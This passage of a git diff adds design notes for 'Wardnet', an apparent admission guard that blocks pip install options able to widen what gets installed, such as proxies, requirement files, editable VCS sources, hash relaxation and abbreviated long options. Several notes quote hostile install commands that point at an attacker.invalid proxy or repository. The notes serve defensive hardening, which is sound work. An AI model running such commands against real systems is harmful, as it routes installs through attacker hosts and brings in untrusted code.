`00f06e21e56f8a85c38996c0927480fa4c87b0de` was branched from exact Agent Artifact Admission parent `6df3a4a673e9d966c5c6bac760044fc85aaf926a` and changed only `crates/agent-artifact-admission/tests/pip_dependency_group_abbreviation_contract.rs`. + +Hosted CI run `34634809930`, Rust job `103380003463`, acquired GitHub-hosted Ubuntu 24.04, checked out the pull-request candidate merge built from that unchanged parent and test-only head, installed Rust 1.98.1, and passed `cargo fmt --check`. `cargo test --locked --workspace` then reached the hostile contract and failed because direct `pip install ... --gro=attacker-group` returned `Allow` rather than `Block`. The failure therefore exercises Wardnet admission semantics rather than runner, checkout, toolchain, formatting, or unrelated workspace behavior. + +## Decision + +Classify only the pinned direct-pip dependency-group option language already represented by the canonical authority boundary: + +- `--gro` and `--gro=`; +- `--grou` and `--grou=`; +- canonical `--group` and `--group=`. + +The matcher is bounded by the shortest verified unambiguous prefix `--gro` and the canonical option `--group`. Ambiguous `--g`/`--gr`, superstrings such as `--groups`, and unrelated options remain outside this authority classifier. Separate-value use is classified by the selector token itself; attached-value use is classified after splitting only the first `=`. + +This repair does not implement pip's dependency resolution or inspect dependency-group contents. A caller-selected group remains unapproved artifact authority and fails closed before execution. uv and other installers retain independent grammars. + +## Alternatives rejected + +Treating every `--g...` token as `--group` was rejected because it would invent parser behavior and cause false positives for ambiguous or unrelated options. Leaving abbreviated selectors to generic unknown-operand handling was rejected because the selector itself is security-significant authority: attached `--gro=` contains no separate operand for another guard to catch and was demonstrably allowed. Reimplementing pip project/dependency resolution in Wardnet was rejected because that would cross the admission bounded context into package-manager execution and artifact-analysis ownership. + +## Security effect and residual risk + +The repair closes a structured-argv admission bypass in which an otherwise approved direct pip/pip3 install could import dependency-group members that were never represented by the reviewed artifact set. The bounded unit contract also prevents future prefix widening without parser evidence. + +Residual risk remains if pip changes its option set or parser behavior. Any newly accepted abbreviation or new dependency-import selector requires fresh executable parser verification and a hostile Wardnet RED; spelling similarity alone is not authority. + +## Traceability + +NIST SP 800-218 SSDF v1.1 remains the final normative SSDF publication used here. NIST SP 800-218 Rev. 1 / SSDF v1.2 is an Initial Public Draft published December 17, 2025 and is informative only. PyPA pip documentation is the primary product authority for `pip install --group`; Python `optparse` documentation is the primary parser authority for unambiguous long-option abbreviations. CWE-20 supports bounded validation of untrusted structured input, while CWE-829 is relevant when caller-controlled dependency inclusion crosses the reviewed artifact authority boundary. + +## References (APA 7th) + +MITRE. (2026). *CWE-20: Improper input validation* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/20.html + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://doi.org/10.6028/NIST.SP.800-218r1.ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation*. Retrieved September 12, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html diff --git a/docs/doctoring/pypi-global-proxy-authority.md b/docs/doctoring/pypi-global-proxy-authority.md new file mode 100644 index 00000000..e4114d1b --- /dev/null +++ b/docs/doctoring/pypi-global-proxy-authority.md @@ -0,0 +1,46 @@ +# PyPI global proxy authority — admission traceability + +Verified 2026-09-12. This note binds Wardnet's direct-pip proxy-admission rule to pip's documented command grammar and to Wardnet's existing fail-closed software-supply-chain policy. It does not make Wardnet a proxy, network, DNS, TLS, or egress-policy implementation. + +## Decision + +For direct `pip` and `pip3` installation intents, caller-selected proxy routing is outside the reviewed artifact authority and must fail closed as `alternate_trust_root`. This applies when pip's documented `--proxy ` General Option appears before the `install` subcommand as well as when the reviewed proxy selector appears after `install`. + +Wardnet recognizes only the bounded direct-pip spellings already covered by the admission contract: `--proxy`, the verified unambiguous `--prox` abbreviation, and their non-empty attached-value forms. For a separate-token selector, exactly one following token is consumed as the proxy value for admission parsing. Arbitrary pre-command options are not normalized or silently consumed. + +The normalization is policy-internal only. The submitted argv remains immutable evidence: the decision's `command_sha256` is calculated from the original command. A consumed proxy value is not counted as a package artifact, while an actual extra undeclared package remains independently classified as `artifact_not_approved`. + +Wardnet does not parse or approve the proxy destination, resolve it, open a connection, enforce redirects, select a route, establish TLS trust, or authorize outbound transport. EgressWeave remains the canonical executable outbound-transport authority; quarantine-sandbox-runtime remains the hostile execution/isolation owner. An Agent Artifact Admission `allow` or `block` decision therefore cannot replace either control. + +## Causal evidence + +Issue #347 identified the parser-valid hostile shape: + +```text +pip --proxy http://attacker.invalid:8080 install cwl-example==1.2.3 --require-hashes --no-deps --no-input +``` + +The test-only head `ebbaeab99b93e1ba8a630a29b7bd6407ea23002a` preserved production source and produced semantic hosted RED in CI run `34663758483`, rust job `103471407614`: predecessor policy returned `forbidden_command` plus `artifact_not_approved` rather than the causal proxy/trust-authority classification. + +The minimum source repair started at `0e58a71968acd534355e4a1ad904ba04d32ad054` and is exercised by `crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs`. The contract covers `pip` and `pip3`, separate and attached proxy values, original-command digest preservation, a genuine extra package beside the proxy option, and an unreviewed global option that must remain fail closed instead of acquiring invented proxy semantics. + +## Standards and primary-source mapping + +| Control | Source | Application in Wardnet | +| --- | --- | --- | +| Treat installer routing/configuration as security-relevant input rather than implicit authority | NIST SP 800-218 v1.1, PW.4 and PW.7 secure design/verification practices | Unreviewed installer capability changes fail closed before execution. | +| Preserve auditable evidence of the submitted action | NIST SP 800-218 v1.1 secure-development evidence practices | Internal canonicalization does not rewrite `command_sha256`; the original argv remains the evidence identity. | +| Deny unintended trust-boundary expansion | OWASP ASVS 5.0.0 verification principles for secure communications and configuration | Caller-selected proxy authority is classified separately from artifact identity and cannot inherit package approval. | +| Interpret the command according to the tool's documented surface | pip General Options and pip user guide | `--proxy` is a pip command-line proxy selector and may be supplied as a general option; Wardnet tests the verified pre-`install` placement rather than assuming `install` is always argv[1]. | + +NIST guidance is used as secure-development justification, not as a claim that Wardnet is NIST-certified. OWASP ASVS is used as verification guidance, not as a conformance claim. pip documentation is the authoritative command-surface source; Wardnet deliberately implements only the reviewed subset needed for fail-closed admission and does not reproduce pip's full parser. + +## References + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST SP 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +OWASP Foundation. (2025). *OWASP Application Security Verification Standard 5.0.0*. https://owasp.org/www-project-application-security-verification-standard/ + +pip developers. (2026). *pip: General options*. https://pip.pypa.io/en/stable/cli/pip/ + +pip developers. (2026). *pip user guide: Using a proxy server*. https://pip.pypa.io/en/stable/user_guide/ diff --git a/docs/doctoring/pypi-hash-mode-authority.md b/docs/doctoring/pypi-hash-mode-authority.md new file mode 100644 index 00000000..a199ad3f --- /dev/null +++ b/docs/doctoring/pypi-hash-mode-authority.md @@ -0,0 +1,40 @@ +# PyPI hash-mode authority + +## Problem + +Wardnet's Agent Artifact Admission Controller treats hash checking as a required safety condition for approved direct PyPI installation. The policy previously recognized the literal positive `--require-hashes` token but did not separately reject pip's negative `--no-require-hashes` option. That let one structured intent carry contradictory hash-mode instructions while Wardnet still considered the positive token sufficient. + +This is a parser/authority-boundary defect even when a particular pip version rejects the contradictory combination at execution time. Admission must not depend on a downstream parser rejecting an ambiguity that Wardnet can recognize before execution, and an admission `allow` receipt must not be produced for an intent that explicitly asks the installer to relax the required hash mode. + +## Constraint and ownership + +Wardnet owns pre-execution admission policy and minimized decision evidence. It does not download the distribution, generate a requirements lock, prove the downloaded bytes, or execute pip. The downstream executor remains responsible for consuming a reviewed material set and independently proving that retrieved bytes or equivalent provenance match the approved SHA-256 before execution. + +The current v0.1 direct PyPI path therefore keeps these independent controls: + +- exact reviewed package name and `==` version coordinate; +- reviewed registry/owner/SHA-256 identity; +- exact `--no-deps` dependency-cardinality guard; +- positive hash-checking requirement; +- explicit rejection of `--no-require-hashes` for pip/pip3 install requests; +- separate downstream material/provenance verification before execution. + +## TDD evidence + +- RED `032d74e060e778add00a2cc757ce3582c1135232` adds `pip_boolean_override_cannot_disable_required_hash_checking`. The hostile intent is otherwise the approved direct PyPI shape (`==` pin, `--require-hashes`, `--no-deps`) and adds `--no-require-hashes`. +- Causal classifier `4c0de8a3445d6b062b69440507cd3c81a3323308` isolates this installer-specific authority check in `pypi_hash_mode.rs` rather than broadening the generic policy parser. +- Admission wiring `bba656c1d776da38a7315d9ec8e6cb5bdfd621d1` returns the existing stable `missing_safety_flag` denial and never promotes the contradictory request to `allow`. + +Remote executable GREEN is not inferred from source inspection. The exact-head hosted workflows must execute on the resulting candidate before merge or release authority exists. + +## Primary-source traceability + +pip documents `--require-hashes` as requiring a hash for every requirement and documents `--no-require-hashes` as disabling automatic activation of the all-requirements hash mode when hashes are encountered. pip's secure-install guidance further states that hash-checking mode is an all-or-nothing mechanism intended to protect exact distribution material and recommends SHA-256 or stronger algorithms. Those semantics make the two options different authority statements; Wardnet therefore accepts only an unambiguous safety request. + +### References + +Python Packaging Authority. (2026). *pip install — pip documentation (v26.2.1)*. https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Packaging Authority. (2026). *Secure installs — pip documentation*. https://pip.pypa.io/en/stable/topics/secure-installs/ + +Python Packaging Authority. (2026). *Requirements file format — pip documentation*. https://pip.pypa.io/en/stable/reference/requirements-file-format/ diff --git a/docs/doctoring/pypi-indirect-source-abbreviation-authority.md b/docs/doctoring/pypi-indirect-source-abbreviation-authority.md new file mode 100644 index 00000000..126c145e --- /dev/null +++ b/docs/doctoring/pypi-indirect-source-abbreviation-authority.md @@ -0,0 +1,54 @@ +# Direct pip indirect-source abbreviation authority + +## Problem and ownership boundary + +Wardnet Agent Artifact Admission authorizes only reviewed package coordinates and emits security evidence before an executor runs. It does not read requirements files, clone VCS repositories, fetch packages, authorize outbound transport, install packages, or execute hostile artifacts. Those runtime, transport, analysis, and isolation responsibilities remain with their canonical CWL owners. + +The direct `pip`/`pip3` command grammar is security-relevant because a requirements file or editable path/VCS URL can introduce package sources beyond the exact artifact coordinate approved by Wardnet. pip documents `-r, --requirement ` as installing from a requirements file and `-e, --editable ` as installing an editable local or VCS project. Python `optparse` also permits abbreviated long options; its callback contract explicitly notes that an abbreviated spelling such as `--foo` can resolve to canonical `--foobar`. + +The preceding Wardnet policy rejected the canonical and short spellings but did not classify the accepted direct-pip long prefixes. Executable parser verification established `--requirem=attacker-requirements.txt` and `--ed=git+https://attacker.invalid/example.git` as accepted selectors, while shorter `--requ` and `--e` remain ambiguous and must not be guessed as valid aliases. + +## Exact RED evidence + +Test-only commit `ba70e7856abaf45351a6316935130c3a45cb10df` was based on the already-GREEN #325 source and added only `pypi_indirect_source_abbreviation_contract.rs`. Hosted CI `34631567774`, job `103369376385`, acquired `ubuntu-24.04`, checked out that exact head, installed the Rust toolchain, and passed formatting before `cargo test --locked --workspace` failed. The hostile contract requires both accepted prefix forms to fail closed with `ArtifactNotApproved` for direct `pip` and `pip3` even when the explicitly declared package operand itself exactly matches policy. + +## Decision + +Extend the existing artifact-source-identity boundary rather than adding installer execution or transport behavior. For direct `pip`/`pip3` installs only: + +- classify `--requirement` prefixes beginning at the shortest verified unambiguous `--requirem` through the character before the canonical spelling; +- classify `--editable` prefixes beginning at the shortest verified unambiguous `--ed` through the character before the canonical spelling; +- leave canonical `--requirement`, `--editable`, `-r`, and `-e` under the existing policy evaluator; +- leave ambiguous shorter spellings such as `--requ` and `--e` unclassified because the executable parser rejects them; +- do not transfer pip-specific abbreviation grammar to `uv` or another package manager. + +This is an admission/source-identity repair. It does not duplicate EgressWeave transport authorization, quarantine execution/isolation, AppGuardrail analysis, or contextual-orchestrator agent orchestration. + +## Alternatives rejected + +Blocking every option prefix that begins with `--r` or `--e` was rejected because that would invent parser semantics and create false positives for ambiguous or unrelated pip options. Treating requirements/editable material as implicitly approved by the explicit package coordinate was rejected because pip can expand those selectors into additional or differently sourced functionality. Fetching and validating the referenced file or repository inside Wardnet was rejected because it would cross the pre-execution policy boundary and duplicate runtime/source acquisition owners. + +## Security effect and residual risk + +The repair closes a caller-intent bypass in which an approved explicit package operand could coexist with an undeclared requirements file or editable VCS/local source. This is consistent with CWE-829's concern about importing functionality from outside the intended control sphere and with SSDF's emphasis on preventing recurrence through verified security requirements and tests. + +Residual risk remains whenever pip changes its parser or adds source-expanding selectors. Wardnet should add a hostile RED contract before expanding its parser-sensitive admission grammar; it must not infer aliases solely from option names. + +## Traceability + +- NIST SP 800-218, SSDF v1.1 remains the final normative SSDF publication; SP 800-218 Rev. 1 / SSDF v1.2 is an Initial Public Draft as of this decision and is informative only. +- PyPA pip install documentation defines requirements-file and editable-source installation as distinct source-expanding input forms. +- Python `optparse` documentation explicitly recognizes abbreviated long options. +- CWE-829 describes inclusion of executable functionality from a source outside the intended control sphere and recommends strict known-good input validation. + +## References (APA 7th) + +MITRE. (2026). *CWE-829: Inclusion of functionality from untrusted control sphere* (Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/829.html + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2025). *Secure software development framework (SSDF) version 1.2: Recommendations for mitigating the risk of software vulnerabilities* (NIST Special Publication 800-218 Rev. 1, Initial Public Draft). https://csrc.nist.gov/pubs/sp/800/218/r1/ipd + +Python Packaging Authority. (n.d.). *pip install — pip documentation v26.2.1*. Retrieved September 12, 2026, from https://pip.pypa.io/en/stable/cli/pip_install/ + +Python Software Foundation. (n.d.). *optparse — Parser for command line options*. Retrieved September 12, 2026, from https://docs.python.org/3/library/optparse.html diff --git a/docs/doctoring/pypi-install-report-authority.md b/docs/doctoring/pypi-install-report-authority.md new file mode 100644 index 00000000..ad0bf9bc --- /dev/null +++ b/docs/doctoring/pypi-install-report-authority.md @@ -0,0 +1,47 @@ +# PyPI installation-report write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install --report` authority before execution. Pip's command parser is built on Python `optparse`, so the security contract also rejects the currently unambiguous long-option prefixes from `--rep` through `--report`. The admission receipt authorizes only the reviewed artifact mutation represented by the structured install intent; it does not authorize an additional caller-chosen filesystem write destination. + +Attached and separated values fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, open, create, or otherwise authorize the requested path. + +## Problem and threat + +An exact approved PyPI artifact can otherwise retain the same package name, version, registry, publisher, digest, manifest digest, `--require-hashes`, and `--no-deps` while adding report-output authority. The option token begins with `-`, so Wardnet's positional artifact scan does not classify the output path as an undeclared artifact operand. Matching only the literal `--report` spelling is also insufficient because pip's `ConfigOptionParser` inherits Python `optparse.OptionParser` long-option matching and therefore accepts an unambiguous prefix such as `--rep` for `--report` in the current install option set. + +This maps to CWE-73, External Control of File Name or Path: externally influenced pathnames can grant file access or modification capability that the caller would not otherwise possess. Wardnet therefore denies the additional argv authority rather than attempting path sanitization. + +## Primary-source evidence + +At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` defines `--report` with a caller-provided `file` destination. During `InstallCommand.run`, when that destination is not `-`, pip opens the supplied filename for UTF-8 JSON output before proceeding with installation preparation. Pip's `src/pip/_internal/cli/parser.py` imports `optparse`, defines `CustomOptionParser(optparse.OptionParser)`, and derives `ConfigOptionParser` from it. Python's `optparse` long-option matcher accepts a unique prefix of a configured long option; Wardnet must therefore reason about the parser's accepted language rather than only the help-text spelling. + +The first Wardnet specimen at `e15594f3b1c46f751fbce3f18ffb4b548ae97278` kept production code byte-identical and added `--report=/tmp/wardnet-install-report.json` to an otherwise-approved direct pip install. Hosted CI `34508270927`, rust job `102975711419`, reached the semantic assertion on Ubuntu 24.04 and returned `Allow` where the contract required `Block`. Formatting and all preceding workspace tests were successful, isolating the missing admission classifier as the causal defect. + +After the literal `--report` repair, fresh source review exposed the parser-abbreviation bypass. Test-only exact `93e6d8ea21a2c369efcb16e0d630c49c937f0f88` added attached and separated `--rep` cases while leaving production code unchanged from its predecessor. Hosted CI `34509524218`, rust job `102979904158`, acquired Ubuntu 24.04, passed checkout, toolchain setup and formatting, then failed in the workspace test step; Fuzz `34509524209` was terminal success. The minimum causal successor `d2c4e104b1827637c1f532884e26cf3018890a07` classifies `--rep`, `--repo`, `--repor`, and `--report`, with or without an attached `=value`, as the same unreviewed report-write authority. It does not broaden Wardnet into path evaluation or runtime filesystem enforcement. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument must not inherit Agent Artifact Admission authority. This rule is intentionally syntactic and fail-closed. + +`quarantine-sandbox-runtime` remains canonical owner of the effective runtime filesystem, mount, workspace, privilege, cleanup, and isolation boundary. Wardnet does not duplicate sandbox path enforcement. EgressWeave remains canonical owner of outbound transport authorization. AppGuardrail remains canonical owner of static package/security analysis. No foreign source or mutable sibling dependency is copied into this bounded context. + +## Alternatives considered + +Allowing `--report=-` while rejecting file paths would preserve a stdout-only mode, but it would require Wardnet to parse option/value semantics that are unnecessary for the current product contract. The safer and smaller authority model is to reject the entire optional reporting capability until a reviewed use case explicitly requires it. + +Sanitizing or constraining the caller-selected path was rejected because it would move runtime filesystem policy into Wardnet and duplicate quarantine ownership. Relying only on sandbox containment was also rejected: admission should not grant a side effect merely because another boundary may later constrain its impact. + +Matching only the literal `--report` spelling was rejected after the executed abbreviation RED. Denying every token beginning with `--rep` was also rejected as unnecessarily broad: the bounded classifier names the currently accepted prefix family through the complete option spelling, keeping the policy explicit and reviewable. + +## Verification contract + +The exact approved direct `pip` and `pip3` install controls must remain admissible. Attached and separate forms of `--rep`, `--repo`, `--repor`, and `--report` must return `Block` and include `alternate_install_root`. Tests must not execute pip or perform filesystem writes. If upstream pip changes its option grammar such that another abbreviation becomes valid or one of these prefixes becomes ambiguous, the adapter contract must be re-reviewed against that released parser rather than silently weakening admission. Every production or documentation change invalidates predecessor workflow evidence and requires current-head verification before integration. + +## Traceability + +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html +- Python Packaging Authority. (2026). *pip installation command implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py +- Python Packaging Authority. (2026). *pip CLI parser implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/parser.py +- Wardnet issue #268 and Draft PR #269 retain the hostile REDs, causal repairs, current-head checks, and protected-main adoption criteria. diff --git a/docs/doctoring/pypi-log-output-authority.md b/docs/doctoring/pypi-log-output-authority.md new file mode 100644 index 00000000..4ade74f6 --- /dev/null +++ b/docs/doctoring/pypi-log-output-authority.md @@ -0,0 +1,53 @@ +# PyPI verbose-log write authority + +## Decision + +Wardnet Agent Artifact Admission rejects caller-selected `pip`/`pip3 install` verbose-log output authority before execution. Pip exposes one general logging option through the aliases `--log`, `--log-file`, and `--local-log`. Because pip's parser is built on Python `optparse`, the admission boundary also rejects the currently accepted unambiguous long-option prefixes that resolve to this option. The admission receipt authorizes only the reviewed package installation represented by the structured intent; it does not authorize an additional caller-selected filesystem append destination. + +The classifier is intentionally syntactic. Attached and separated forms fail closed with Wardnet's existing `alternate_install_root` reason. Wardnet does not resolve, canonicalize, create, open, append to, or otherwise authorize the requested path. + +## Problem and threat + +An otherwise exact approved PyPI install can retain the same package ecosystem, name, version, registry, publisher, digest, reviewed manifest digest, `--require-hashes`, and `--no-deps` while adding a verbose-log destination such as `--log=/tmp/wardnet-pip.log`. The option token begins with `-`, so the positional artifact-operand guard does not classify the pathname as another package operand. Without a dedicated authority check, the caller can therefore add a filesystem side effect that is absent from the reviewed install intent. + +This maps to CWE-73, External Control of File Name or Path. Wardnet denies the additional argv capability instead of attempting pathname sanitization or runtime containment. + +## Primary-source evidence + +At `pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/cli/cmdoptions.py` defines the general `log` option as a `PipOption` with aliases `--log`, `--log-file`, and `--local-log`, type `path`, and the help contract `Path to a verbose appending log.` The same module derives its option machinery from Python `optparse`. + +At the same pip commit, `src/pip/_internal/cli/base_command.py` constructs every command with a `ConfigOptionParser`, adds `cmdoptions.general_group`, parses the command line, and then passes `options.log` to `setup_logging(..., user_log_file=options.log)` before the command-specific `run` method executes. The caller-selected destination is therefore live logging configuration for an otherwise approved install rather than inert metadata. + +Python `optparse` accepts a unique long-option prefix. For the current pip option set, Wardnet's bounded classifier therefore recognizes the complete aliases and the presently unambiguous prefixes `--log-`, `--log-f`, `--log-fi`, `--log-fil`, `--loc`, `--loca`, `--local`, `--local-`, `--local-l`, and `--local-lo`. It deliberately does not treat ambiguous `--lo` as accepted caller authority. If upstream pip changes the option set or parser grammar, this accepted-language set must be re-reviewed against the released parser. + +## Executed RED → minimum causal repair + +Test-only exact `a9b8c5f5d9f70e17168d8fa5af3b331d6b498815` was one commit above canonical Agent Artifact Admission parent `f73c964714692eccf4f3a73a38b9c6165c8cb0c6` and changed only `crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs`. Hosted CI `34513210814`, rust job `102992168251`, acquired GitHub-hosted Ubuntu 24.04, passed checkout, pinned toolchain, and formatting, then failed in the workspace test step while production remained byte-identical to the parent. That is the causal semantic RED for the missing verbose-log authority boundary. + +The first production repair classified the three complete aliases. Fresh parser review then found the long-option-prefix bypass. Test-only `de879a19876a6421f2210603531aa2d4c73f8f6d` added abbreviated hostile cases but its first CI `34513728313` stopped at formatting and is not semantic evidence. Formatter-only `d6efe20260415a702556ecfc28590901227465a2` preserved production behavior; hosted CI `34513970080`, rust job `102994701557`, then passed checkout/toolchain/formatting and failed in the workspace test step, establishing the abbreviation RED. The minimum causal successor `a7c778872f825f7e2c3a4a366d385580b0ecf4a2` replaces broad/literal matching with the explicit currently accepted prefix family while leaving ambiguous `--lo` outside Wardnet's interpretation. + +## Ownership boundary + +Wardnet owns the pre-execution decision that an unreviewed installer argument cannot inherit Agent Artifact Admission authority. This rule neither executes pip nor grants runtime filesystem policy. + +`quarantine-sandbox-runtime` remains canonical owner of effective filesystem, mount, workspace, privilege, cleanup, and hostile-execution isolation. EgressWeave remains canonical owner of executable outbound destination/DNS/peer/redirect/proxy/TLS/resource authorization. AppGuardrail remains canonical owner of static package/security analysis. No foreign source, runtime sandbox policy, transport implementation, or mutable sibling dependency is copied into this bounded context. + +## Alternatives considered + +Path sanitization or an allowed-directory grammar was rejected because it would duplicate quarantine's effective runtime filesystem authority and still leave Wardnet responsible for OS-level path semantics. Relying only on sandbox containment was also rejected: admission should not grant an unreviewed side effect merely because a later boundary may constrain its impact. + +Matching only the three documented aliases was rejected after the executed abbreviation RED. Denying every token beginning with `--lo` was also rejected because that would reinterpret an ambiguous parser prefix as valid pip syntax. The chosen classifier enumerates only the spellings that currently resolve unambiguously to the logging option. + +## Verification contract + +Exact approved direct `pip` and `pip3` install controls with reviewed artifact coordinates, `--require-hashes`, and `--no-deps` must remain `Allow`. Attached and separated forms of each complete alias and representative accepted prefixes must return `Block` with `alternate_install_root`. Tests must not execute pip or touch the filesystem. A parser/version change invalidates the accepted-prefix assumption and requires primary-source re-verification rather than a broad prefix heuristic. + +Every production or doctoring change invalidates predecessor workflow evidence. Integration requires exact-current CI/Fuzz success, clean current review/thread inventory, and ordinary expected-head merge into canonical Agent Artifact Admission before protected-main consideration. + +## Traceability + +- MITRE. (2025). *CWE-73: External control of file name or path* (CWE 4.20). https://cwe.mitre.org/data/definitions/73.html +- Python Software Foundation. (2026). *optparse — Parser for command line options*. Python 3.14 documentation. https://docs.python.org/3/library/optparse.html +- Python Packaging Authority. (2026). *pip shared command options* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/cmdoptions.py +- Python Packaging Authority. (2026). *pip base command implementation* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`). GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/cli/base_command.py +- Wardnet issue #270 and Draft PR #271 retain the hostile REDs, causal repairs, exact-current verification, and protected-main adoption criteria. diff --git a/docs/doctoring/pypi-noninteractive-credential-authority.md b/docs/doctoring/pypi-noninteractive-credential-authority.md new file mode 100644 index 00000000..2767bd98 --- /dev/null +++ b/docs/doctoring/pypi-noninteractive-credential-authority.md @@ -0,0 +1,47 @@ +# PyPI noninteractive credential authority + +Verified 2026-09-11. This note documents why Wardnet Agent Artifact Admission requires direct `pip` and `pip3 install` intents to include the canonical `--no-input` token before an allow decision can be returned. + +## Problem and security boundary + +An exact package name, version, registry, owner assertion, digest, reviewed manifest and `--require-hashes` do not by themselves bound credential discovery. pip's authentication layer can consult ambient credential mechanisms independently of artifact identity. Wardnet owns only the pre-execution admission verdict and evidence for the submitted installer intent; it does not obtain credentials, perform package-network I/O, install artifacts, or execute them. Keyverse remains the credential/identity backend, EgressWeave remains reusable outbound-transport authority, and `quarantine-sandbox-runtime` remains hostile execution/isolation authority. + +## Primary evidence + +The pip 26.2.1 authentication documentation states that the default keyring provider is `auto`; when `--no-input` is present, `auto` does not query keyring, while without that option it may try the import and subprocess providers before falling back to disabled. The same documentation warns that keyring backends can require user interaction. In the pinned upstream source used for this decision (`pypa/pip@2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/network/auth.py`), `MultiDomainBasicAuth.use_keyring` is true whenever prompting remains enabled, and the `auto` provider can first import ambient Python `keyring` and then discover a `keyring` executable through `PATH`. + +Therefore an otherwise reviewed direct pip intent that omits `--no-input` retains ambient/interactively mediated credential authority not represented by `ApprovedArtifact` or the reviewed workspace manifest. Wardnet fails that intent closed rather than attempting to emulate pip's complete authentication state machine. + +## Decision + +For direct `pip install` and `pip3 install` only: + +- the exact token `--no-input` is mandatory; +- omission yields the existing stable `missing_safety_flag` reason and a block decision; +- look-alike or assigned forms do not satisfy the guard; +- explicit credential-provider expansion remains separately governed by `pypi_keyring_provider_authority`; +- uv is not silently included in this rule because its CLI/authentication contract is versioned and reviewed separately. + +This is intentionally a minimum causal control. It does not claim that `--no-input` proves retrieved artifact bytes, credential provenance, transport authorization, or runtime isolation. Those remain independently verified owner responsibilities. + +## Executable evidence + +`tests/pypi_noninteractive_authority_contract.rs` proves both hostile and positive cases for `pip` and `pip3`: an otherwise approved direct install without `--no-input` blocks with `missing_safety_flag`, while the same exact reviewed intent with canonical `--no-input` remains admissible. Positive direct-pip fixtures in the existing PyPI authority suite carry the same invariant so a future policy change cannot accidentally preserve stale permissive baselines. + +The test-first lineage is recorded on Wardnet PR #283: test-only RED `124e1eb2cce935d83d302b265633a6d6c62482cf`, followed by the focused classifier and fixture-adoption repairs. Remote workflow results are valid only for the exact current PR head; predecessor runs are historical evidence after any source or documentation movement. + +## Alternatives considered + +Allowing pip's default interactive behavior was rejected because the decision would authorize credential-discovery capability absent from the reviewed intent. Reproducing pip's keyring/configuration precedence inside Wardnet was rejected because it would create a second package-client authentication authority and would drift as pip evolves. Forcing a particular credential backend was rejected because credential selection belongs outside this admission bounded context. + +## Risks and follow-up + +`--no-input` narrows one ambient credential path but does not neutralize every pip configuration or environment-controlled trust expansion. Each independently demonstrated authority expansion should receive its own hostile RED and minimum classifier rather than broad parser imitation. In particular, uv credential-provider and certificate-store controls are tracked separately so direct-pip semantics are not generalized across executable families without primary evidence. + +## APA 7 references + +Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A + +pip developers. (2026). *Authentication: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/topics/authentication/ + +pip developers. (2026). *Network authentication helpers* [Source code, commit 2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5]. GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/network/auth.py diff --git a/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md b/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md new file mode 100644 index 00000000..2ad983e6 --- /dev/null +++ b/docs/doctoring/pypi-prefix-install-root-abbreviation-authority.md @@ -0,0 +1,45 @@ +# Direct pip prefix install-root abbreviation authority + +Issue: #339 +Implementation lane: #340 +Canonical parent at RED: `#129@1c5f6217b1e52d3bcb25e29e113981bef4c524c0` + +## Problem and boundary + +Agent Artifact Admission already rejects canonical direct-pip install-root selectors and the verified `--target` long-option abbreviation language. Pinned pip also exposes `--prefix ` and parses long options with Python `optparse` abbreviation semantics. On the reviewed install option surface, `--pref` is ambiguous with `--prefer-binary`, while `--prefi` is the shortest unambiguous 